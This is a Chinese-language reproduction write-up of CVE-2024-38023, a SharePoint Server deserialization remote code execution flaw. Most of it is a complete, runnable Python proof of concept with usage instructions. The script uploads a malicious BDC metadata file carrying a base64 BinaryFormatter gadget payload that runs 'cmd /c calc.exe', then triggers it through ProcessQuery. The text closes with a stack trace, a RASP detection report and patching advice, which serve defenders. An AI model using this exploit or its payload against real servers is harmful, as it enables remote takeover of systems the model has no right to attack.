【CVE-2024-38023】SharePoint Server 远程代码执行

一句话摘要

微软 SharePoint Server 的一个远程代码执行漏洞,攻击者通过 BDC(Business Data Connectivity)的 DotNetAssembly LobSystem + 不安全反序列化,可在 IIS 工作进程 w3wp.exe 上下文中执行任意命令。本文为脱敏后的复现记录,包含 POC、攻击链、堆栈与 RASP 检测分析。

[toc]

漏洞概要

项目内容
CVE 编号CVE-2024-38023
漏洞类型远程代码执行(RCE)
影响产品Microsoft SharePoint Server(本地部署版)
公开时间2024-07-09
攻击向量通过 /_vti_bin/client.svc/ntlm/ProcessQuery 触发
触发方式BDC DotNetAssembly + BinaryFormatter 不安全反序列化
权限要求需为站点所有者/具备写入权限的账户(认证后)

参考:

漏洞原理

本漏洞的根因是 SharePoint Business Data Connectivity(BDC)服务在解析 DotNetAssembly 类型的 LobSystem 元数据时,对 bdcm 文件中的 DefaultValue(Base64 编码的序列化数据)执行了不安全反序列化:

  1. 写入恶意 BDC 元数据:攻击者通过 /_api/web/ 相关接口,在目标站点创建 BusinessDataMetadataCatalog 目录,并上传 BDCMetadata.bdcm 文件。其中 LobSystem Type="DotNetAssembly",Class="RevertToSelf",并在一处 DefaultValue 内嵌了 Base64 编码的 BinaryFormatter 序列化 payload(含 SortedSet/TypeConfuseDelegate 类似 gadget)。
  2. 触发反序列化:向 /_vti_bin/client.svc/ProcessQuery 发送构造的 FindFiltered 请求,使服务端解析该 Entity 方法。反序列化链路经 ObjectStateFormatter.Deserialize → BinaryFormatter.Deserialize,触发 gadget 链。
  3. 命令执行:gadget 链最终调用 System.Diagnostics.Process.Start(),以 w3wp.exe(SharePoint Central Administration 应用池)身份执行 cmd /c calc.exe(POC 默认)。

关键点:反序列化发生在 IIS 工作进程(w3wp.exe)上下文中,因此成功即获得 SharePoint 服务器本机执行权限。

攻击链

graph LR
    A[认证站点所有者] --> B[创建 BusinessDataMetadataCatalog 目录]
    B --> C[上传恶意 BDCMetadata.bdcm]
    C --> D[构造 ProcessQuery FindFiltered 请求]
    D --> E[ObjectStateFormatter.Deserialize]
    E --> F[BinaryFormatter.Deserialize]
    F --> G[gadget 链 → Process.Start]
    G --> H[cmd /c calc.exe 任意命令执行]

POC

代码

python
# -*- coding: utf-8 -*-
# CVE-2024-38023 SharePoint Server RCE POC(脱敏版)
import requests
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
import sys, time
 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
 
class Color:
    RESET = "\033[0m"
    BRIGHT = "\033[1m"
    GREEN = "\033[32m"
    RED = "\033[31m"
    YELLOW = "\033[33m"
 
 
if __name__ == "__main__":
    session = requests.session()
    target1 = sys.argv[1]     # 目标 SharePoint 站点根地址
    username = sys.argv[2]    # 站点所有者账户
    pwd = sys.argv[3]         # 密码
 
    site = "/my/personal/" + username
    target = target1 + site
    print("Target: " + target1)
 
    digest = ""
    auth = HttpNtlmAuth(username, pwd)
    PROXY = {}
 
    # 1) 校验身份 / 定位站点
    burp0_url = target1 + "/_api/web/"
    burp0_headers = {
        "Connection": "keep-alive",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36",
        "Cache-Control": "max-age=0",
        "X-RequestDigest": digest,
        "Upgrade-Insecure-Requests": "1",
        "Accept": "application/json;odata=verbose",
        "Content-Type": "application/json;odata=verbose",
    }
    content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False)
    if content.status_code == 401:
        print("User is not site owner or wrong creds!")
        burp0_url = target1 + "/my/"
        content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False, proxies=PROXY)
        print(content.status_code)
        if content.status_code == 401:
            print("Wrong credentials!")
            exit()
    else:
        target = target1
        site = ""
 
    time.sleep(5)  # 等待个人站点初始化
 
    # 2) 创建 BusinessDataMetadataCatalog 目录
    burp0_url = target + "/_api/web/Folders"
    burp0_json = {"__metadata": {"type": "SP.Folder"},
                  "ServerRelativeUrl": site + "/BusinessDataMetadataCatalog"}
    content = session.post(burp0_url, headers=burp0_headers, json=burp0_json, auth=auth, verify=False, proxies=PROXY)
    if content.status_code == 401:
        print("{0}Wrong credentials!{1}".format(Color.RED, Color.RESET))
        exit()
    elif content.status_code == 404:
        print("{0}Folder not found!{1}".format(Color.RED, Color.RESET))
        exit()
    print("Request Url: {0} {1} {2}".format(Color.GREEN, burp0_url, Color.RESET))
    digest = content.headers['X-RequestDigest']
 
    # 3) 上传恶意 BDCMetadata.bdcm(BDC 元数据,内嵌序列化 payload)
    burp0_url = (target +
        "/_api/web/GetFolderByServerRelativeUrl('" + site + "/BusinessDataMetadataCatalog/')"
        "/Files/add(url='" + site + "/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)")
    burp0_headers = {
        "Connection": "close",
        "X-RequestDigest": digest,
        "Accept-Encoding": "gzip, deflate",
        "Accept": "*/*",
        "User-Agent": "python-requests/2.27.1",
        "Content-type": "application/x-www-form-urlencoded",
    }
    burp0_data = """<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="QjtvWXFT" Type="DotNetAssembly"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="Class" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="QjtvWXFT"></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property><Property Name="Class" Type="System.String">Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.String" /></Identifiers><Methods><Method Name="ParseLogFileEntry" DefaultDisplayName="Create Product" IsStatic="false"><FilterDescriptors><FilterDescriptor Type="Wildcard" FilterField="BdcIdentity" Name="f1" DefaultDisplayName="String" IsCached="false"></FilterDescriptor></FilterDescriptors><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" CreatorField="true" IdentifierName="ID" AssociatedFilter="f1"><DefaultValues><DefaultValue MethodInstanceName="CreateProduct" Type="System.String">x1    x2  x3  x4  x5  x6  x7  x8  x9  x10 x11 x12 AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL    x14 x15 x16</DefaultValue></DefaultValues></TypeDescriptor></Parameter><Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct1" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="SpecificFinder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance><MethodInstance Name="CreateProduct1" Type="Finder" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"""
    req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, auth=auth, verify=False, proxies=PROXY)
    print(req.status_code)
 
    # 4) 触发漏洞:构造 ProcessQuery FindFiltered 请求
    burp0_url = target + "/_vti_bin/client.svc/ProcessQuery"
    burp0_headers = {
        "X-RequestDigest": digest,
        "Content-Type": "text/xml",
        "X-RequestForceAuthentication": "true",
        "Accept-Encoding": "gzip, deflate",
        "Expect": "100-continue",
    }
    burp0_data = """<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /> <ObjectPath Id="25" ObjectPathId="24" /><ObjectPath Id="26" ObjectPathId="7" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="GetCreatorView"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="22" ParentId="20" Name="GetDefaultValues"><Parameters/></Method><Method Id="26" ParentId="7" Name="GetFilters"><Parameters><Parameter Type="String">CreateProduct</Parameter></Parameters></Method><Method Id="24" ParentId="7" Name="FindFiltered"><Parameters><Parameter ObjectPathId="26"></Parameter><Parameter Type="String">CreateProduct1</Parameter><Parameter ObjectPathId="18" /></Parameters></Method><Identity Id="7" Name="9ccba4bb-d3a8-4255-b87f-18e2d824b848|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" /><Identity Id="17" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:notifcallback:avkldkm.c.ultr.cc,CurrentContext" /><Identity Id="18" Name="d42d9b6b-28e0-4ae8-a7f5-6503d367c115|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:QjtvWXFT,QjtvWXFT" /></ObjectPaths></Request>"""
    req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=PROXY)
    print("Done!")

环境要求

使用方式

将上述代码保存为 poc_filtered.py,然后运行:

bash
# <TARGET> 为 SharePoint 站点根地址;<ADMIN> 为管理员账户
python2 poc_filtered.py <TARGET> <ADMIN> <PASSWORD>

堆栈(复现)

反序列化到命令执行的关键堆栈:

System.Diagnostics.Process@Start
System.Comparison`1@Invoke
System.Collections.Generic.SortedSet`1@AddIfNotPresent
System.Collections.Generic.SortedSet`1@OnDeserialization
System.Runtime.Serialization.ObjectManager@RaiseDeserializationEvent
System.Runtime.Serialization.Formatters.Binary.ObjectReader@Deserialize
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter@Deserialize
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter@Deserialize
System.Web.UI.ObjectStateFormatter@DeserializeValue
System.Web.UI.ObjectStateFormatter@Deserialize
System.Web.UI.ObjectStateFormatter@Deserialize
System.RuntimeMethodHandle@InvokeMethod
System.Reflection.RuntimeMethodInfo@UnsafeInvokeInternal
System.Reflection.RuntimeMethodInfo@Invoke
Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@Execute
Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@ExecuteStatic
Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime@ExecuteInternalWithAuthNFailureRetry
Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime@ExecuteInternal
Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime@ExecuteInternal
Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime+<>c__DisplayClass12@<Subscribe>b__11
Microsoft.SharePoint.BusinessData.Runtime.BusinessNotificationCallbackHelper@Subscribe
Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Entity@Subscribe
Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity@Subscribe
Microsoft.BusinessData.ServerStub.MetadataModel.EntityServerStub@Subscribe_MethodProxy
Microsoft.BusinessData.ServerStub.MetadataModel.EntityServerStub@InvokeMethod
Microsoft.SharePoint.Client.ServerStub@InvokeMethodWithMonitoredScope
Microsoft.SharePoint.Client.ClientMethodsProcessor@InvokeMethod
Microsoft.SharePoint.Client.ClientMethodsProcessor@GetObjectFromObjectPath
Microsoft.SharePoint.Client.ClientMethodsProcessor@GetObjectFromObjectPathId
Microsoft.SharePoint.Client.ClientMethodsProcessor@ProcessInstantiateObjectPath
Microsoft.SharePoint.Client.ClientMethodsProcessor@ProcessStatements
Microsoft.SharePoint.Client.ClientMethodsProcessor@Process
Microsoft.SharePoint.Client.ClientRequestServiceImpl@ProcessQuery
Microsoft.SharePoint.Client.ClientRequestService@ProcessQuery
System.ServiceModel.Dispatcher.SyncMethodInvoker@Invoke
System.ServiceModel.Dispatcher.DispatchOperationRuntime@InvokeBegin
System.ServiceModel.Dispatcher.ImmutableDispatchRuntime@ProcessMessage5
System.ServiceModel.Dispatcher.ImmutableDispatchRuntime@ProcessMessage11
System.ServiceModel.Dispatcher.MessageRpc@Process
System.ServiceModel.Dispatcher.ChannelHandler@DispatchAndReleasePump
System.ServiceModel.Dispatcher.ChannelHandler@HandleRequest
System.ServiceModel.Dispatcher.ChannelHandler@AsyncMessagePump
System.ServiceModel.Dispatcher.ChannelHandler@OnAsyncReceiveComplete
System.Runtime.Fx+AsyncThunk@UnhandledExceptionFrame
System.Runtime.AsyncResult@Complete
System.Runtime.InputQueue`1+AsyncQueueReader@Set
System.Runtime.InputQueue`1@EnqueueAndDispatch
System.Runtime.InputQueue`1@EnqueueAndDispatch
System.ServiceModel.Channels.SingletonChannelAcceptor`3@Enqueue
System.ServiceModel.Channels.HttpPipeline+EnqueueMessageAsyncResult@CompleteParseAndEnqueue
System.ServiceModel.Channels.HttpPipeline+EnqueueMessageAsyncResult@HandleParseIncomingMessage
System.Runtime.AsyncResult@SyncContinue
System.ServiceModel.Channels.HttpPipeline+EmptyHttpPipeline@BeginProcessInboundRequest
System.ServiceModel.Channels.HttpChannelListener`1+HttpContextReceivedAsyncResult`1@ProcessHttpContextAsync
System.ServiceModel.Channels.HttpChannelListener`1@BeginHttpContextReceived
System.ServiceModel.Activation.HostedHttpTransportManager@HttpContextReceived
System.ServiceModel.Activation.HostedHttpRequestAsyncResult@HandleRequest
System.ServiceModel.Activation.HostedHttpRequestAsyncResult@BeginRequest
System.ServiceModel.AspNetPartialTrustHelpers@PartialTrustInvoke
System.ServiceModel.Activation.HostedHttpRequestAsyncResult@OnBeginRequestWithFlow
System.Runtime.IOThreadScheduler+ScheduledOverlapped@IOCallback
System.Runtime.Fx+IOCompletionThunk@UnhandledExceptionFrame
System.Threading._IOCompletionCallback@PerformIOCompletionCallback

堆栈解读:从下往上看,请求进入 ProcessQuery → Entity@Subscribe → DotNetAssemblySystemUtility@Execute → 走到 ObjectStateFormatter.Deserialize(负责 BDC 默认值反序列化)→ BinaryFormatter.Deserialize → SortedSet.OnDeserialization 触发比较器回调 → Process.Start,最终执行 cmd /c calc.exe。

RASP 检测(360DNRSP 上报示例)

RASP 在 w3wp.exe 中拦截到 System.Diagnostics.Process@StartWithShellExecuteEx 命令执行:

{}json
{
    "hi_MethodName": "<SITE>@System.Diagnostics.Process@StartWithShellExecuteEx",
    "hi_Paramters": "argv0:cmd argv1:/c calc.exe ",
    "hi_Stack": "System.Diagnostics.Process@Start System.Comparison`1@Invoke System.Collections.Generic.SortedSet`1@AddIfNotPresent ... System.Web.UI.ObjectStateFormatter@Deserialize ... Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@Execute ... System.Diagnostics.Process@StartWithShellExecuteEx ",
    "hi_ever": "1.0.0.1040",
    "hi_DotNetVersion": "4.0.30319.42000",
    "hi_wver": "10.0.14393.0 (rs1_release.160715-1616)",
    "hi_CmdLine": "c:\\windows\\system32\\inetsrv\\w3wp.exe -ap \"SharePoint Central Administration v4\" ...",
    "hi_URL": "http://<TARGET>/_vti_bin/client.svc/ntlm/ProcessQuery",
    "hi_CVE": [
        {
            "CVE": "CVE-2024-38023",
            "BugzillaDescription": "MicrosoftSharePointServerRemoteCodeExecutionVulnerability.",
            "PublicDate": "2024-07-09T17:15:00Z",
            "Software": "sharepoint",
            "Url": "ntlm/ProcessQuery",
            "Stack": [
                "Microsoft.SharePoint.Administration.SPClickthroughUsageDefinition@ParseLogFileEntry",
                "Microsoft.SharePoint.Administration.SPUsageProvider@DeserializeBase64String",
                "Microsoft.SharePoint.BusinessData.SystemSpecific.DotNetAssembly.DotNetAssemblySystemUtility@Execute",
                "...",
                "System.Diagnostics.Process@StartWithShellExecuteEx",
                "..."
            ]
        }
    ]
}

注:以上为脱敏后的上报示例,具体字段(hi_pid/hi_tid/IP 等)因环境而异,已用 <TARGET>/<SITE> 占位。

检测与防御建议

  1. 及时打补丁:升级至微软 2024-07 安全更新(见 MSRC CVE-2024-38023 对应 KB),这是根治手段。
  2. 限制 BDC 写权限:BDC 元数据写入(BusinessDataMetadataCatalog)应仅授权受信管理员,避免普通站点所有者可写。
  3. RASP 纵深防御:在 IIS 工作进程内拦截 Process.Start(StartWithShellExecuteEx)、ObjectStateFormatter/BinaryFormatter 反序列化调用,可阻断该攻击链。
  4. 最小权限运行:SharePoint Central Administration 应用池应以低权限账户运行,降低被攻破后的影响面。

参考资料